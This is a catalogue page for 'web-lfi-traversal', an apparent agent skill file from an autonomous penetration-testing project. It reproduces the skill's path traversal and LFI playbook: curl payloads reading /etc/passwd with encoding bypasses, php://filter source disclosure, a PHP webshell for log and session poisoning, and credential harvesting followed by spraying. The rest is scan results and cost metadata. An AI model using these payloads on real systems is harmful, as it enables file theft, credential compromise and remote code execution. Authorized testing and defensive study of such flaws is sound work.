web-lfi-traversal

web-lfi-traversal is a skill for Claude Code, Codex from s0ld13rr/pentestcode. It costs 83 tokens per session (1,230 once invoked), scanned A, original, MIT.

A guide to path traversal and Local File Inclusion (LFI), web flaws that let an application read files outside its intended folder or load local files as content. It covers file disclosure and possible code execution when the application includes files.

In plain words
What is it for?
Testing file, page, template, language, download, and include parameters; reviewing source and configuration exposure; and assessing whether file inclusion can run code.
Why use it?
It helps distinguish harmless file selection from access to sensitive system or application files, while checking common encoding and filtering mistakes.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is curl 'http://<t>/?page=../../../../etc/passwd' # classic.

Good fit Testing file, page, template, language, download, and include parameters; reviewing source and configuration exposure; and assessing whether file inclusion can run code.

Compare 6 skills from other repositories ↓
About the project

PentestCode is a terminal-based autonomous penetration-testing system in which multiple agents run security tools, interpret results, track engagement state, and choose subsequent attack steps. It is for authorized security assessments and capture-the-flag work that require coordinated scanning, enumeration, exploitation, and evidence tracking. The catalogue skills and instructions support the project's agent-led penetration-testing workflow.

s0ld13rr/pentestcode · 1,278 stars · on GitHub

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode
agentmods
npx agentmods add skills/s0ld13rr/pentestcode/lfi-traversal

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for web-lfi-traversal

README.md
[![agentmods](https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/lfi-traversal/github.svg)](https://agentmods.dev/skills/s0ld13rr/pentestcode/lfi-traversal)
Your own site
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/lfi-traversal"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/lfi-traversal/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for web-lfi-traversal

Your own site · 80×15
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/lfi-traversal"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/lfi-traversal.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 83 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,230 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 6 findings, up to critical

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • critical YARA Match · line 31
    YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
    Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
  • high Privilege Escalation · line 14
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 16
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 23
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 36
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 36
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00083 $0.01230
Opus 5.5 $0.00033 $0.00492
Sonnet 5.5 $0.00017 $0.00246
Haiku 4.5 $0.00008 $0.00123

Measured today against content hash 6747571c4afd, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

web-lfi-traversal scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured today.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl 'http://<t>/?page=../../../../etc/passwd' # classic
skills/web/lfi-traversal/SKILL.md · 68 lines

How it starts

The opening of the file, as written. The whole thing — 68 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Path Traversal / LFI

When this fires

A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.

Detect

curl 'http://<t>/?page=../../../../etc/passwd'          # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd'  # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd'          # filter-strip bypass

root:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.

Decide

  • Reads only (traversal) → escalate to source disclosure + secrets.
  • PHP include() (LFI) → escalate to RCE via wrappers/poisoning.
  • Extension appended (page.php) → php://filter (below) or null-byte on old PHP; try ?page=../../etc/passwd%00 (PHP<5.3.4).

Exploit → PROVE IMPACT

# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
#  log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
#  session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
#  php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
#  php filter chain → RCE (php_filter_chain_generator) when only file-read is available

Proof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.

Tooling

nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.

False positives / pitfalls

  • WAF/framework normalizes ../ → try encodings, ....//, absolute paths, or a different param.
  • App sandboxes to a base dir → look for a symlink/upload you control to include.
  • 200 with generic page ≠ read — confirm the actual file bytes are in the response.

Read the full file on GitHub · 68 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. today Changed · +23 lines 6747571c4afd
  2. 3mo ago First seen · 45 lines · 83 tokens per session scan A 9702a7f77cca

Subscribe to this mod's changes

web-lfi-traversal is a skill published in the GitHub repository s0ld13rr/pentestcode (1,278 stars, last pushed today), licensed MIT. It adds 83 tokens to every session and 1,230 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

web-lfi-traversal compared with skills from other repositories

web-lfi-traversal next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
web-lfi-traversals0ld13rr/pentestcodeSkill1.3ktodayMITA83Claude Code, Codex
lictor-security-checkRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A135Claude Code
lictor-rotateRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A80Claude Code
lictor-explainRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0A56Claude Code
openai-patternschandrudp29/skillhubSkill145mo agoMITA31Claude Code, Codex
lictor-fix-itRaffa-jarrl/Lictor-AISkill194mo agoApache-2.0B75Claude Code
hunt-api-misconfigelementalsouls/Claude-BugHunterSkill28kyesterdayMITA207Claude Code